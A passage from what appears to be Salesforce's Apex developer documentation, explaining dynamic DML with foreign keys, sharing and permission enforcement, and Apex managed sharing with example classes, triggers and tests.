anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
Setting and Retrieving Foreign Keys
Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a
foreign key, use the get or put methods.
181
Dynamic DMLWorking with Data in Apex
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key C2__c that links to a parent custom object C2. You want to create a C1
object and have it associated with a C2 record named 'AW Computing' (assigned to the value C2__r). You do not need the ID of the
'AW Computing' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));
If you had assigned a value to the ID for C2__r, it would be ignored. If you do have the ID, assign it to the object (C2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
for (SObject parentRecord : queryParentObject){
Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed
SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ''+ ChildFieldValue2);
}
}
}
Apex Security and Sharing
This chapter covers security and sharing for Apex. You’ll learn about the security of running code and how to add user permissions for
Apex classes. Also, you’ll learn how sharing rules can be enforced. Furthermore, Apex managed sharing is described. Finally, security tips
are provided.
Enforcing Sharing Rules
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution.
182
Apex Security and SharingWorking with Data in Apex
Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex.
executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that
would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly
careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user. (For more information on sharing rules, see the Salesforce online help.)
Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and field-level
security. Apex code always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of
hidden fields or objects for a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which
code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing
setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.
Account a = [SELECT . . . ];
public static void m() { . . . }
static {
...
}
{
...
}
public void c() {
...
}
}
public without sharing class CWithout {
// All code in this class ignores sharing rules and operates
// as if the context user has the Modify All Data permission.
Account a = [SELECT . . . ];
...
public static void m() {
...
// This call into CWith operates with enforced sharing rules
// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}
183
Enforcing Sharing RulesWorking with Data in Apex
public class CInner {
// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
...
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}
public class CInnerWithOut extends CWithout {
// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}
Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with
sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
•SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
•DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user
specifies a foreign key value that exists in the organization, but which the current user does not have access to.
Enforcing Object and Field Permissions
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call
and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by
explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of
Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the
necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively.
Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's
read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These are some examples of how to call the access control methods.
184
Enforcing Object and Field PermissionsWorking with Data in Apex
To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact phone number
}
To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}
To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}
To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}
Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you
can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the
with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control
methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes,
the access level granted by a sharing rule could conflict with an object-level or field-level permission.
Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click the name of the class that you want to restrict.
3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from a permission set:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
185
Class SecurityWorking with Data in Apex
2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.
Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access
can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
This section provides an overview of sharing using Apex:
•Understanding Sharing
•Sharing a Record Using Apex
•Recalculating Apex Managed Sharing
For more information on sharing, see “Set Your Organization-Wide Sharing Defaults” in the Salesforce online help.
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access
control list (ACL) found in other platforms.
Types of Sharing
Salesforce has the following types of sharing:
Force.com Managed Sharing
Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and
sharing rules:
Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
186
Understanding Apex Managed SharingWorking with Data in Apex
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from Force.com AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All” object-level
permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with
“Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across
record owner changes.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
The Sharing Reason Field
In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called
rowCause in Apex or the Force.com API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause
value.
•Force.com Managed Sharing
rowCause Value (Used in Apex or the Force.com API)Reason Field Value
ImplicitChildAccount Sharing
ImplicitParentAssociated record owner or sharing
OwnerOwner
TeamOpportunity Team
RuleSharing Rule
187
Understanding Apex Managed SharingWorking with Data in Apex
rowCause Value (Used in Apex or the Force.com API)Reason Field Value
TerritoryRuleTerritory Assignment Rule
•User Managed Sharing
rowCause Value (Used in Apex or the Force.com API)Reason Field Value
ManualManual Sharing
TerritoryManualTerritory Manual
•Apex Managed Sharing
rowCause Value (Used in Apex or the Force.com API)Reason Field Value
Defined by developerDefined by developer
The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following
access levels:
DescriptionAPI NameAccess Level
Only the record owner and users above the record owner in the role hierarchy
can view and edit the record. This access level only applies to the AccountShare
object.
NonePrivate
The specified user or group can view the record only.ReadRead Only
The specified user or group can view and edit the record.EditRead/Write
The specified user or group can view, edit, transfer, share, and delete the record.AllFull Access
Note: This access level can only be granted with Force.com managed
sharing.
Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owner’s user record if the trigger is
started through the following:
•API
•Standard user interface
188
Understanding Apex Managed SharingWorking with Data in Apex
•Standard Visualforce controller
•Class defined with the with sharing keyword
If a trigger is started through a class that’s not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesn’t require the running user to have specific access.
Sharing a Record Using Apex
To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want
to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact
object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the
custom object:
MyCustomObject__Share
Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access is determined
by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object Security” in the Salesforce
online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex
managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as
the “View All” and “Modify All” permissions for the given object, “View All Data,” and “Modify All Data” are not tracked with this object.
Every share object has the following properties:
DescriptionProperty Name
The level of access that the specified user or group has been granted for a share sObject. The name
of the property is AccessLevel appended to the object name. For example, the property name
for LeadShare object is LeadShareAccessLevel. Valid values are:
objectNameAccessLevel
•Edit
•Read
•All
Note: The All access level can only be used by Force.com managed sharing.
This field must be set to an access level that is higher than the organization’s default access level for
the parent object. For more information, see Access Levels on page 188.
The ID of the object. This field cannot be updated.ParentID
The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field cannot be updated.
RowCause
The user or group IDs to which you are granting access. A group can beUserOrGroupId
•a public group or a sharing group associated with a role
•a territory group if you use the original version of Territory Management, but not with Enterprise
Territory Management
This field cannot be updated.
189
Understanding Apex Managed SharingWorking with Data in Apex
You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce and Force.com.
Creating User Managed Sharing Using Apex
It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing
is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified
user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a
custom object called Job.
Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {
public static boolean manualShareRead(Id recordId, Id userOrGroupId){
// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();
// Set the ID of record being shared.
jobShr.ParentId = recordId;
// Set the ID of user or group being granted access.
jobShr.UserOrGroupId = userOrGroupId;
// Set the access level.
jobShr.AccessLevel = 'Read';
// Set rowCause to 'manual' for manual sharing.
// This line can be omitted as 'manual' is the default value for sharing objects.
jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
// Insert the sharing record and capture the save result.
// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);
// Process the save results.
if(sr.isSuccess()){
// Indicates success
return true;
}
else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trival access level.
// Access level must be more permissive than the object's default.
// These sharing records are not required and thus an insert exception is
acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
190
Understanding Apex Managed SharingWorking with Data in Apex
}
else{
// Indicates failure.
return false;
}
}
}
}
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
// Create new job.
Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;
// Insert manual share for user who is not record owner.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
// Query job sharing records.
List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
// Test for only one manual share on job.
System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
// Test attributes of manual share.
System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
// Test invalid job Id.
delete j;
// Insert manual share for deleted job id.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
}
}
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 188.
191
Understanding Apex Managed SharingWorking with Data in Apex
Creating Apex Managed Sharing
Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior through
Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All Data” permission can
add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record
with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of
sharing records. They also enable developers to share with the same user or group multiple times using different reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
•The label displays in the Reason column when viewing the sharing for a record in the user interface. This label allows users and
administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
•The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c
Apex sharing reasons can be referenced programmatically as follows:
Schema.CustomObject__Share.rowCause.SharingReason__c
For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c
For more information, see Schema Class on page 2470.
To create an Apex sharing reason:
1. From the management settings for the custom object, click New in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the
user interface. The label is also enabled for translation through the Translation Workbench.
3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain
only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. Click Save.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
Apex Managed Sharing Example
For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter
and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager access
when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User records
called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and
Recruiter.
trigger JobApexSharing on Job__c (after insert) {
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
192
Understanding Apex Managed SharingWorking with Data in Apex
// Declare variables for recruiting and hiring manager sharing
Job__Share recruiterShr;
Job__Share hmShr;
for(Job__c job : trigger.new){
// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();
// Set the ID of record being shared
recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;
// Set the ID of user or group being granted access
recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;
// Set the access level
recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add objects to list for insert
jobShrs.add(recruiterShr);
jobShrs.add(hmShr);
}
// Insert sharing records and capture save result
// The false parameter allows for partial processing if multiple records are passed
// into the operation
Database.SaveResult[] lsr = Database.insert(jobShrs,false);
// Create counter
Integer i=0;
// Process the save results
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error
Database.Error err = sr.getErrors()[0];
// Check if the error is related to a trivial access level
// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception is
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&&
193
Understanding Apex Managed SharingWorking with Data in Apex
err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
}
Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
•A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
•Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 188.
Creating Apex Managed Sharing for Customer Community Plus users
Customer Community Plus users are previously known as Customer Portal users. Share objects, such as AccountShare and
ContactShare, aren’t available to these users. If you must use share objects as a Customer Community Plus user, consider using a
trigger, which operates with the without sharing keyword by default. Otherwise, use an inner class with the same keyword to
enable the DML operation to run successfully. A separate utility class can also be used to enable this access.
Granting visibility via manual/apex shares written to the share objects is supported but the objects themselves aren't available to Customer
Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.
Recalculating Apex Managed Sharing
Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes.
The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they
grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object’s
sharing model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation.
You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related
list.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed
sharing recalculation.
194
Understanding Apex Managed SharingWorking with Data in Apex
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.
Creating an Apex Class for Recalculating Sharing
To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can
implement this interface more than once in your organization. For more information on the methods that must be implemented, see
Using Batch Apex on page 241.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 188.
Apex Managed Sharing Recalculation Example
For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter
and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example requires
a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job
custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace the
email address with a valid email address that you want to to send error notifications and job completion notifications to.
global class JobSharingRecalc implements Database.Batchable<sObject> {
// String to hold email address that emails will be sent to.
// Replace its value with a valid email address.
static String emailAddress = 'admin@yourcompany.com';
// The start method is called at the beginning of a sharing recalculation.
// This method returns a SOQL query locator containing the records
// to be recalculated.
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}
// The executeBatch method is called for each chunk of records returned from start.
global void execute(Database.BatchableContext BC, List<sObject> scope){
// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);
// Create a list of Job__Share objects to be inserted.
List<Job__Share> newJobShrs = new List<Job__Share>();
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
195
Understanding Apex Managed SharingWorking with Data in Apex
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// The ID of the record being shared
jobHMShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add sharing record to list for insertion.
newJobShrs.add(jobHMShr);
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
// The recruiter on the job should always have 'Read/Write' access.
jobRecShr.AccessLevel = 'Edit';
// The ID of the record being shared
jobRecShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for recruiter.
// This establishes the sharing record as Apex managed sharing.
jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
// Add the sharing record to the list for insertion.
newJobShrs.add(jobRecShr);
}
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
196
Understanding Apex Managed SharingWorking with Data in Apex
// Process the save results for insert.
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trivial access level.
// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception
// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
}catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
// The finish method is called at the end of a sharing recalculation.
global void finish(Database.BatchableContext BC){
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Completed.');
mail.setPlainTextBody
('The Apex sharing recalculation finished processing');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
197
Understanding Apex Managed SharingWorking with Data in Apex
}
Testing Apex Managed Sharing Recalculations
This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This
example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter.
Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set
the organization-wide default sharing for Job to Private. Note that since email messages aren’t sent from tests, and because the batch
class is invoked by a test method, the email notifications won’t be sent in this case.
@isTest
private class JobSharingTester {
// Test for the JobSharingRecalc class
static testMethod void testApexSharing(){
// Instantiate the class implementing the Database.Batchable interface.
JobSharingRecalc recalc = new JobSharingRecalc();
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;
// Insert some test job records.
List<Job__c> testJobs = new List<Job__c>();
for (Integer i=0;i<5;i++) {
Job__c j = new Job__c();
j.Name = 'Test Job ' + i;
j.Recruiter__c = User1Id;
j.Hiring_Manager__c = User2Id;
testJobs.add(j);
}
insert testJobs;
Test.startTest();
// Invoke the Batch class.
String jobId = Database.executeBatch(recalc);
Test.stopTest();
// Get the Apex job and verify there are no errors.
AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,
CompletedDate, CreatedDate, NumberOfErrors
from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);
// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
198
Understanding Apex Managed SharingWorking with Data in Apex
FROM Job__c];
// Validate that Apex managed sharing exists on jobs.
for(Job__c job : jobs){
// Two Apex managed sharing records should exist for each job
// when using the Private org-wide default.
System.assert(job.Shares.size() == 2);
for(Job__Share jobShr : job.Shares){
// Test the sharing record for hiring manager on job.
if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
System.assertEquals(jobShr.AccessLevel,'Read');
}
// Test the sharing record for recruiter on job.
else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
